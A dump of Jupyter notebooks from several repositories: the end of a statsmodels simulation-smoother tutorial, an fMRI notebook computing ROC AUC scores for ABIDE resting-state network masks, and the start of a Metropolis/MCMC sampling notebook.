kZmZmluEBkpmZmVmGB0hmZmZmGf8DD5QzPG3OY3gAAAAASUVORK5CYII=\n", "text/plain": [ "<Figure size 576x504 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "# Collect the state innovation variance parameters\n", "az_state_cov = az.convert_to_inference_data({\n", " r'$\\sigma^2$[%s]' % mod.state_names[i]: store_state_cov[nburn + 1:, i]\n", " for i in range(mod.k_states)})\n", "\n", "# Plot the credible intervals\n", "az.plot_forest(az_state_cov, figsize=(8, 7));" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Appendix: performance\n", "\n", "Finally, we run a few simple tests to compare the performance of the KFS and CFA simulation smoothers by using the `%timeit` Jupyter notebook magic.\n", "\n", "One caveat is that the KFS simulation smoother can produce a variety of output beyond just simulations of the posterior state vector, and these additional computations could bias the results. To make the results comparable, we will tell the KFS simulation smoother to only compute simulations of the state by using the `simulation_output` argument." ] }, { "cell_type": "code", "execution_count": 18, "metadata": { "execution": { "iopub.execute_input": "2021-02-02T06:52:53.883165Z", "iopub.status.busy": "2021-02-02T06:52:53.881543Z", "iopub.status.idle": "2021-02-02T06:52:53.891136Z", "shell.execute_reply": "2021-02-02T06:52:53.892319Z" } }, "outputs": [], "source": [ "from statsmodels.tsa.statespace.simulation_smoother import SIMULATION_STATE\n", "\n", "sim_cfa = mod.simulation_smoother(method='cfa')\n", "sim_kfs = mod.simulation_smoother(simulation_output=SIMULATION_STATE)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Then we can use the following code to perform a basic timing exercise:\n", "\n", "```python\n", "%timeit -n 10000 -r 3 sim_cfa.simulate()\n", "%timeit -n 10000 -r 3 sim_kfs.simulate()\n", "```\n", "\n", "On the machine this was tested on, this resulted in the following:\n", "\n", "```\n", "2.06 ms ± 26.5 µs per loop (mean ± std. dev. of 3 runs, 10000 loops each)\n", "2.02 ms ± 68.4 µs per loop (mean ± std. dev. of 3 runs, 10000 loops each)\n", "```" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "These results suggest that - at least for this model - there are not noticeable computational gains from the CFA approach relative to the KFS approach. However, this does not rule out the following:\n", "\n", "1. The Statsmodels implementation of the CFA simulation smoother could possibly be further optimized\n", "2. The CFA approach may only show improvement for certain models (for example with a large number of `endog` variables)\n", "\n", "One simple way to take a first pass at assessing the first possibility is to compare the runtime of the Statsmodels implementation of the CFA simulation smoother to the Matlab implementation in the replication codes of Chan and Jeliazkov (2009), available at http://joshuachan.org/code/code_TVPVAR.html.\n", "\n", "While the Statsmodels version of the CFA simulation smoother is written in Cython and compiled to C code, the Matlab version takes advantage of the Matlab's sparse matrix capabilities. As a result, even though it is not compiled code, we might expect it to have relatively good performance.\n", "\n", "On the machine this was tested on, the Matlab version typically ran the MCMC loop with 11,000 iterations in 70-75 seconds, while the MCMC loop in this notebook using the Statsmodels CFA simulation smoother (see above), also with 11,0000 iterations, ran in 40-45 seconds. This is some evidence that the Statsmodels implementation of the CFA smoother already performs relatively well (although it does not rule out that there are additional gains possible)." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Bibliography\n", "\n", "Carter, Chris K., and Robert Kohn. \"On Gibbs sampling for state space models.\" Biometrika 81, no. 3 (1994): 541-553.\n", "\n", "Chan, Joshua CC, and Ivan Jeliazkov. \"Efficient simulation and integrated likelihood estimation in state space models.\" International Journal of Mathematical Modelling and Numerical Optimisation 1, no. 1-2 (2009): 101-120.\n", "\n", "De Jong, Piet, and Neil Shephard. \"The simulation smoother for time series models.\" Biometrika 82, no. 2 (1995): 339-350.\n", "\n", "Durbin, James, and Siem Jan Koopman. \"A simple and efficient simulation smoother for state space time series analysis.\" Biometrika 89, no. 3 (2002): 603-616.\n", "\n", "McCausland, William J., Shirley Miller, and Denis Pelletier. \"Simulation smoothing for state–space models: A computational efficiency analysis.\" Computational Statistics & Data Analysis 55, no. 1 (2011): 199-212." ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.7.9" } }, "nbformat": 4, "nbformat_minor": 2 }

bsd-3-clause

htygithub/fmri-tool

ROC_TOM.ipynb

1

7571

{ "cells": [ { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "RSN0\n", "The mask is invalid as it is empty: it masks all data.\n", "thr:0.95, t1:0.000 , t2:0.640 \n", "RSN1\n", "The mask is invalid as it is empty: it masks all data.\n", "hihi2\n", "thr:0.95, t1:0.000 , t2:0.650 \n", "RSN2\n", "hihi2\n", "thr:0.95, t1:0.615 , t2:0.654 \n", "RSN3\n", "hihi2\n", "thr:0.95, t1:0.643 , t2:0.683 \n", "RSN4\n", "hihi2\n", "thr:0.95, t1:0.630 , t2:0.627 \n", "RSN5\n", "hihi2\n", "thr:0.95, t1:0.655 , t2:0.675 \n", "RSN6\n", "hihi2\n", "thr:0.95, t1:0.664 , t2:0.678 \n", "RSN7\n", "hihi2\n", "thr:0.95, t1:0.711 , t2:0.628 \n", "RSN8\n", "hihi2\n", "thr:0.95, t1:0.697 , t2:0.682 \n", "RSN9\n", "hihi2\n", "thr:0.95, t1:0.636 , t2:0.666 \n" ] } ], "source": [ "%matplotlib inline\n", "import nibabel as nib\n", "import matplotlib.pyplot as plt\n", "import numpy as np\n", "import pandas as pd\n", "from sklearn import metrics\n", "from os.path import join\n", "from nilearn.masking import apply_mask\n", "from nilearn.image import threshold_img,math_img,mean_img\n", "\n", "#matfile = loadmat('abide_mars2_0050002_3726')\n", "v1 = pd.read_csv(r'C:\\expdata\\ABIDE_2017_drz5000\\Phenotypic_V1_0b_preprocessed1.csv')\n", "\n", "y = v1.DX_GROUP.as_matrix()*-1+2\n", "\n", "face_dir = r'C:\\expdata\\ABIDE_2017_drz5000\\mergedata_S0323_230217_rsn10_drzstat'\n", "abide_mask_dir = r'C:\\expdata\\ABIDE_2017_drz5000\\ABIDE_drz5000_mask'\n", "\n", "\n", "def getauc(X,y):\n", " fpr, tpr, thresholds = metrics.roc_curve(y, X)\n", " auc = metrics.auc(fpr, tpr) \n", " return auc\n", "\n", "thr = 0.95\n", "for ii in range(10):\n", " print('RSN%d' % ii)\n", "\n", " #test = pd.read_csv('af3t1.csv')\n", " #data = test.as_matrix()\n", " #X = data[:, 1]\n", " #y = data[:,0] #取出TOF那一行\n", " facedata_ff = join(face_dir,'rsn%d' % ii,'allRmaps.nii.gz')\n", " abide_maskt1_ff =join(abide_mask_dir,'rsn%d' % ii,'twosample_tfce_corrp_tstat1.nii.gz')\n", " abide_maskt2_ff =join(abide_mask_dir,'rsn%d' % ii,'twosample_tfce_corrp_tstat2.nii.gz')\n", "\n", "\n", " try:\n", " maskmeant1 = np.mean(apply_mask(facedata_ff, math_img('img1>=%f' % thr,img1=abide_maskt1_ff)),1)\n", " #maskmeant1 = np.mean(apply_mask(facedata_ff, r'C:\\expdata\\ABIDE_2017_drz5000\\a7t1mask_95.nii.gz'),1)\n", " auct1 = getauc(maskmeant1*-1,y)\n", " #maskmeant1 = np.mean(apply_mask(facedata_ff, math_img('img1>=%f' % thr,img1=abide_maskt1_ff)),1)\n", " #maskmeant1 = np.mean(apply_mask(facedata_ff, r'C:\\expdata\\ABIDE_2017_drz5000\\a7t1mask_95.nii.gz'),1)\n", " auctx = getauc(maskmeant1*-1,y)\n", " except BaseException as e:\n", " print(e)\n", "\n", " maskmeant1 = y*0 \n", " auct1 = 0\n", " try:\n", " maskmeant2 = np.mean(apply_mask(facedata_ff, math_img('img1>=%f' % thr,img1=abide_maskt2_ff)),1)\n", " auct2 = getauc(maskmeant2,y)\n", " except:\n", " auct2 = 0\n", " maskmeant2 = y*0 \n", "\n", " if ii == 0:\n", " t1all = maskmeant1\n", " t2all = maskmeant2\n", " else:\n", " print(\"hihi2\")\n", " t1all = np.vstack((t1all,maskmeant1))\n", " t2all = np.vstack((t2all,maskmeant2))\n", "\n", " print('thr:%.2f, t1:%.3f , t2:%.3f ' % (thr,auct1,auct2))\n", "\n", "\n", "np.savetxt('tsall.csv',np.hstack((t1all.T,t2all.T)),fmt='%.5f', delimiter=',')\n", "\n" ] }, { "cell_type": "code", "execution_count": 16, "metadata": { "collapsed": false }, "outputs": [], "source": [ "import pandas as pd\n", "import glob\n", "import numpy as np\n", "import shutil\n", "#matfile = loadmat('abide_mars2_0050002_3726')\n", "v1 = pd.read_csv(r'C:\\expdata\\ABIDE_2017_drz5000\\Phenotypic_V1_0b_preprocessed1.csv')\n", "\n", "y = v1.DX_GROUP.as_matrix()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "import os\n", "print(os.path.isfile(abide_maskt1_ff))" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "from nilearn import plotting,image\n", "plotting.plot_stat_map(math_img('img1>=%f' % thr,img1=abide_maskt1_ff))" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "plotting.plot_stat_map(image.index_img(facedata_ff, 4))" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "x = apply_mask(facedata_ff, math_img('img1>=%f' % thr,img1=abide_maskt2_ff))" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "x" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "np.mean(x,1)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "from notebook.auth import passwd" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "passwd()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "jupyter notebook --generate-config" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "import matplotlib.pyplot as plt\n", "from os.path import join\n", "import numpy as np\n", "from nilearn import plotting, input_data, image\n", "import nibabel as nib\n", "def get_connindex(rsn10_ff,maskrns10_ff, zthr=4):\n", " img_data= nib.load(rsn10_ff).get_data()\n", " maskrsn10 = nib.load(maskrns10_ff).get_data()\n", " connindex= np.zeros(10)\n", " temp = ((maskrsn10 > zthr) * img_data).reshape((-1,10))\n", " for ii in range(10):\n", " temp1= temp[:,ii]\n", " connindex[ii] =np.nanmean(temp1[np.nonzero(temp1)])\n", " print('Connindex:'+' '.join(['%.5f' % ii for ii in connindex.tolist()]))\n", " return connindex" ] } ], "metadata": { "anaconda-cloud": {}, "kernelspec": { "display_name": "Python [Root]", "language": "python", "name": "Python [Root]" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.5.2" } }, "nbformat": 4, "nbformat_minor": 0 }

bsd-3-clause

NlGG/various

.ipynb_checkpoints/mcmc-checkpoint.ipynb

1

646133

{ "cells": [ { "cell_type": "code", "execution_count": 284, "metadata": { "collapsed": false }, "outputs": [], "source": [ "%matplotlib inline\n", "\n", "import numpy as np\n", "import matplotlib.pyplot as plt\n", "import pymc as pm2\n", "import pymc3 as pm\n", "import time \n", "import math\n", "import numpy.random as rd\n", "import pandas as pd\n", "from pymc3 import summary" ] }, { "cell_type": "code", "execution_count": 271, "metadata": { "collapsed": true }, "outputs": [], "source": [ "from pymc3.backends.base import merge_traces\n", "import theano.tensor as T" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "<p>メトロポリス法</p>\n", "<p>（１）パラメーターqの初期値を選ぶ</p>\n", "<p>（２）qを増やすか減らすかをランダムに決める</p>\n", "<p>（３）q（新）において尤度が大きくなるならqの値をq（新）に変更する</p>\n", "<p>（４）q（新）で尤度が小さくなる場合であっても、確率rでqの値をq（新）に変更する</p>" ] }, { "cell_type": "code", "execution_count": 116, "metadata": { "collapsed": false }, "outputs": [], "source": [ "def comb(n, r):\n", " if n == 0 or r == 0: return 1\n", " return comb(n, r - 1) * (n - r + 1) / r\n", "\n", "def prob(n, y, q):\n", " p = comb(n, y) * q ** y * (1 - q) ** (n - y)\n", " return p\n", "\n", "def likelighood(n, y, q):\n", " p = 1.0\n", " for i in y:\n", " p = p*prob(n, i, q)\n", " return p\n", "\n", "def metropolis(n, y, q, b, num):\n", " qlist = np.array([q])\n", " for i in range(num):\n", " old_q = q\n", " q = q+np.random.choice([b, -b])\n", " old_l = likelighood(n, y, old_q)\n", " new_l = likelighood(n, y, q)\n", " if new_l > old_l:\n", " old_q = q\n", " else:\n", " r = new_l/old_l\n", " q = np.random.choice([q, old_q], p=[r, 1.0-r])\n", " q = round(q, 5)\n", " qlist = np.append(qlist, q)\n", " return q, qlist" ] }, { "cell_type": "code", "execution_count": 122, "metadata": { "collapsed": false }, "outputs": [], "source": [ "y = [4, 3, 4, 5, 5, 2, 3, 1, 4, 0, 1, 5, 5, 6, 5, 4, 4, 5, 3, 4]\n", "\n", "q, qlist = metropolis(8, y, 0.3, 0.01, 10000)" ] }, { "cell_type": "code", "execution_count": 129, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "[<matplotlib.lines.Line2D at 0x10da78550>]" ] }, "execution_count": 129, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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